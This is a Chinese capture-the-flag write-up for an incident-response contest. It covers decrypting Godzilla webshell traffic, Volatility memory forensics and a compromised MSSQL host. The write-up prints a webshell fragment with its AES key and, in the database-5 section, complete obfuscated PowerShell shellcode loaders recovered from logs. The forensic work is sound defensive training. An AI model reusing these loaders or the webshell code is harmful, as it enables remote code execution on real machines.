第一届solar应急响应比赛 复现 日志流量 日志流量1 1 2 3 4 题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击: 黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。 flag格式 flag{xxxx}
web目录,存在后门?那就用d盾扫
code是base64编码,怀疑是flag,解码看看
1 f!l^a*g{A7b4_X9zK_2v8N_wL5q4}
日志流量2 1 2 3 4 题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击: 小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。 flag格式 flag{xxxx}
题目1是后门嘛,那么密码,加密方式等肯定在里面
1 String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0=" ; String xc="a2550eeab0724a69" ; class X extends ClassLoader {public X (ClassLoader z) {super (z);}public Class Q (byte [] cb) {return super .defineClass(cb, 0 , cb.length);} }public byte [] x(byte [] s,boolean m){ try {javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES" );c.init(m?1 :2 ,new javax .crypto.spec.SecretKeySpec(xc.getBytes(),"AES" ));return c.doFinal(s); }catch (Exception e){return null ; }}
AES加密,密钥也给了a2550eeab0724a69
这里先看流量包。
不出意外这就是我们需要查看的流量了。b.jsp
这里说一下如何判断哥斯拉流量特征:
https://feifeitan.cn/index.php/archives/280/
https://blog.csdn.net/sinat_31884905/article/details/132548617
具体可以看我的笔记。
这里根据Cookie值最后出现了分号可以判断它是哥斯拉流量!!
然后我们需要做的就是解密哥斯拉流量。
发现这个流量的格式是raw的,很混淆,不是标准的base64,那么我们转换到原始数据,直接用cyberchef解密即可。
密钥也有了,设置一下然后再接一个Gunzip即可。
这要翻好久,终于翻到了一个flag.txt,readfile,那么flag可能就在请求包中!
1 flag{sA4hP_89dFh_x09tY_lL4SI4}
日志流量3 1 2 3 4 题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击: 小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。 flag格式 flag{xxxx}
既然是上传文件,那么data肯定是很大的,小的就不用看了,看flag下面那个,有可能就是。
flag.pdf,再转变为ascii看仔细点
1 application/octet-stream
那应该就是上传flag.pdf文件了!接下来我们需要导出它!
导出为pdf文件然后解压即可。
这里有点奇怪,不应该导出为gz然后解压出pdf嘛?但是我直接导出为pdf就行了。。
1 flag{dD7g_jk90_jnVm_aPkcs}
内存取证 签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 题目描述 本题作为签到题,请给出邮服发件顺序。 Received: from mail.da4s8gag.com ([140.143.207.229]) by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD for ; Thu, 17 Oct 2024 11:24:01 +0800 X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk= Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=; dkim=none; dmarc=none(permerror) header.from=solar.sec Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1]) by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264 for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST) Date: Thu, 17 Oct 2024 11:24:01 +0800 To: hellosolartest@qq.com From: 鍏嬪競缃戜俊 Subject:xxxxxxxxxx Message-Id: <20241017112401.032146@mail.solar.sec> X-Mailer: QQMail 2.x XXXXXXXXXX flag格式为flag{domain1|...|domainN}
1 flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}
内存取证-1 1 2 3 题目文件:SERVER-2008-20241220-162057 请找到rdp连接的跳板地址 flag格式 flag{1.1.1.1}
给了一个raw文件。
内存取证直接拿出我们的volatility
要查看跳板地址,那肯定要看端口使用情况,使用netscan
其他都是0.0.0.0的,看中间这些就行了。
filefox.exe是火狐浏览器的进程,感觉也没必要看,看svchost.exe还有个System还有个spoolsv.exe就行,都试一下。
最后试出来就是这个,其实这里也不用试,rdp嘛也就是远程桌面协议,对应3389端口,看谁连接了我们本地的3389端口即可。那就只有下面这个啦!
内存取证-2 1 2 3 题目文件:SERVER-2008-20241220-162057 请找到攻击者下载黑客工具的IP地址 flag格式 flag{1.1.1.1}
既然是下载黑客工具,那么netscan的连接肯定是可以看到的,但我们无法判断是哪个,只能一个一个试,这是一种方法。
还有一种方法,下载黑客工具,那么黑客肯定要执行命令,我们看cmdscan即可。
直接看到了mimikatz,那对应的ip地址就是155.94.204.67啦!
内存取证-3 1 2 3 题目文件:SERVER-2008-20241220-162057 攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么 flag格式 flag{xxxx}
看cmdline看到一个pass.txt,有可能就是。同时根据命令执行的顺序,pass.txt应该在桌面上
接下来我们用filescan查看文件
使用 dumpfiles 插件导出
1 2 volatility_2.6_win64_standalone.exe -f H:\应急响应比赛\【题目】小题+综合题\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e4cedd0 -D ./
内存取证-4 1 2 3 题目文件:SERVER-2008-20241220-162057 请找到攻击者创建的用户 flag格式 flag{xxxx}
获取注册表中的用户即可,很简单。
1 2 volatility_2.6_win64_standalone.exe -f H:\应急响应比赛\【题目】小题+综合题\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 printkey -K "SAM\Domains\Account \Users\Names"
直接试
内存取证-5 1 2 3 题目文件:SERVER-2008-20241220-162057 请找到攻击者利用跳板rdp登录的时间 flag格式 flag{2024/01/01 00:00:00}
方法一:
可以找到进程1908,但是这里没有时间。
那么接下来我们看看进程。
PID(Process ID)
定义 :PID 是操作系统分配给每个运行中进程的唯一标识符。每个进程在系统中都有一个唯一的 PID,用于标识进程。
作用 :PID 用于区分不同的进程,是系统内核跟踪和管理进程的重要方式。每当一个新的进程被创建时,操作系统会为其分配一个唯一的 PID。
示例 :如果你通过命令(如 ps
或 top
)查看进程列表,你会看到每个进程对应的 PID。比如,PID 为 1234 的进程可能是一个正在运行的程序。
PPID(Parent Process ID)
定义 :PPID 是一个进程的父进程的 PID。换句话说,PPID 指的是启动当前进程的进程的标识符。每个进程(除了初始化进程)都有一个父进程。
作用 :PPID 显示了当前进程与其父进程的关系。操作系统使用 PPID 来管理进程之间的层级关系,当一个进程退出时,它的子进程可能会被重新分配给另一个父进程(通常是 init
进程)。
示例 :假设进程 PID 为 1234 的进程是由 PID 为 5678 的进程启动的,那么进程 1234 的 PPID 就是 5678。
但是这里两个试了都不行
后来才知道
UTC+0000 是一种表示时间偏移量的格式,用于说明某个时间与协调世界时(UTC,Universal Time Coordinated)的关系。
UTC+0000 表示没有时间偏移的协调世界时,常用于不受时区影响的场合。
中国使用的时区是 中国标准时间(CST) ,也被称为 北京时间 。其时区偏移量是 UTC+08:00 ,也就是说,中国的时间比协调世界时(UTC)快 8 小时。
所以要加8小时
1 flag{2024/12/21 00:15:34}
方法二:
我们在filescan文件中可以找到Windows日志文件Security.evtx,注意大写
security.evtx
是 Windows 操作系统中的一个事件日志文件,主要记录与系统安全相关的事件信息。它是 Windows 日志文件的一部分,用于存储关于用户登录、账户管理、安全审计、系统访问控制等事件的数据。
攻击者利用跳板rdp登录受害机,那么windows日志肯定会有相关记录。
我们把它dump下来
dump下来后缀改成evtx就行,然后放到宝瓜分析!
1 flag{2024/12/21 00:15:34}
内存取证-6 1 2 3 题目文件:SERVER-2008-20241220-162057 请找到攻击者创建的用户的密码哈希值 flag格式 flag{XXXX}
创建的用户是ASP.NET
1 flag{5ffe97489cbec1e08d0c6339ec39416d}
数据库 这里我们先获取虚拟机administrator用户的密码
数据库-1 1 2 3 题目附件:mssql、mssql题-备份数据库 请找到攻击者创建隐藏账户的时间 flag格式 如 flag{2024/01/01 00:00:00}
给了vmdk和ovf,可以用vmware打开和取证
VMDK 是一种文件后缀,代表 Virtual Machine Disk ,是一种虚拟磁盘文件格式。它由 VMware 开发,用于存储虚拟机的硬盘内容
先打开看看,发现需要密码,那么!取证大师!启动!
在 Windows 中,账户名以 $
结尾的通常表示隐藏的共享或资源。
只有一个test$
密码设置时间很有可能就是创建用户的时间
1 flag{2024/12/16 15:24:21}
不仅取证大师可以发现隐藏用户,这里也可以compmgmt.msc
数据库-2 1 2 3 题目附件:mssql、mssql题-备份数据库 请找到恶意文件的名称 flag格式 如 flag{*.*}
上传火绒剑分析
发现c盘java目录下有一个xmrig.exe,有远程地址和本地地址的连接,猜测是恶意后门文件!
百度一下看看
塌房了!!
数据库-3 1 2 3 题目附件:mssql、mssql题-备份数据库 请找到恶意文件的外联地址 flag格式 如 flag{1.1.1.1}
外链地址,简单,上面有了
数据库-4 1 2 3 题目附件:mssql、mssql题-备份数据库 请修复数据库 flag格式 如 flag{xxxxx}
修复数据库???
数据库-5 1 2 3 题目附件:mssql、mssql题-备份数据库 请提交powershell命令中恶意文件的MD5 flag格式 如 flag{xxxxx}
powershell命令,看日志
发现存在大量远程命令执行,我们逐个分析
在后面几个发现了比较特殊的
1 2 3 4 5 6 7 - EventData MessageNumber 1 MessageTotal 1 ScriptBlockText function tWk { Param ($k0M, $ybp) $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp)) } function lVhI5 { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8, [Parameter(Position = 1)] [Type] $nZWM = [Void] ) $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed') $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed') return $p8dl.CreateType() } [Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V") [Uint32]$uKrz = 0 $rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04) [System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length) if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) { $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null } ScriptBlockId 6272cc91-9ab4-4901-8088-ca946f7ae722 Path
关注此处:
1 [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
1 2 3 4 5 6 7 8 - EventData MessageNumber 1 MessageTotal 1 ScriptBlockText &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd())) ScriptBlockId 5ef6ec2a-3ad1-4051-8fba-a804b7bddefb Path
稍微问一下AI
其实自己也看得出来,其中的关键VirtualProtect,Invoke,kernel32.dll其实可以猜出来,相当于免杀的混淆,base64解码后执行shellcode。
同时也发现了System.IO.Compression.GzipStream
根据时间判断,应该是先gz压缩,再base64
导出看看
导出为bin文件然后丢微步之类的看看。
恶意文件实锤了。
1 flag{d72000ee7388d7d58960db277a91cc40}
综合应急 综合应急-1 1 2 3 题目文件:FOG日志 综合应急-1请点击左上角“CTF”按钮切换为“知识竞赛”进行答题。题目类型为选择题,提交机会只有一次,请慎重提交。 本题 flag答案为flag{solar}
综合应急-2 1 2 3 题目文件:FOG日志 攻击者上传了代理工具,请写出他的最终存放路径 格式为flag{x:\xxxxx\xxxx\xxxxxx}
FOG 是一个用于部署计算机镜像的管理工具,特别是在网络中快速部署操作系统和应用程序。通过 FOG,管理员可以对计算机进行远程安装、恢复和管理。这对于大规模部署、维护和备份计算机非常有用。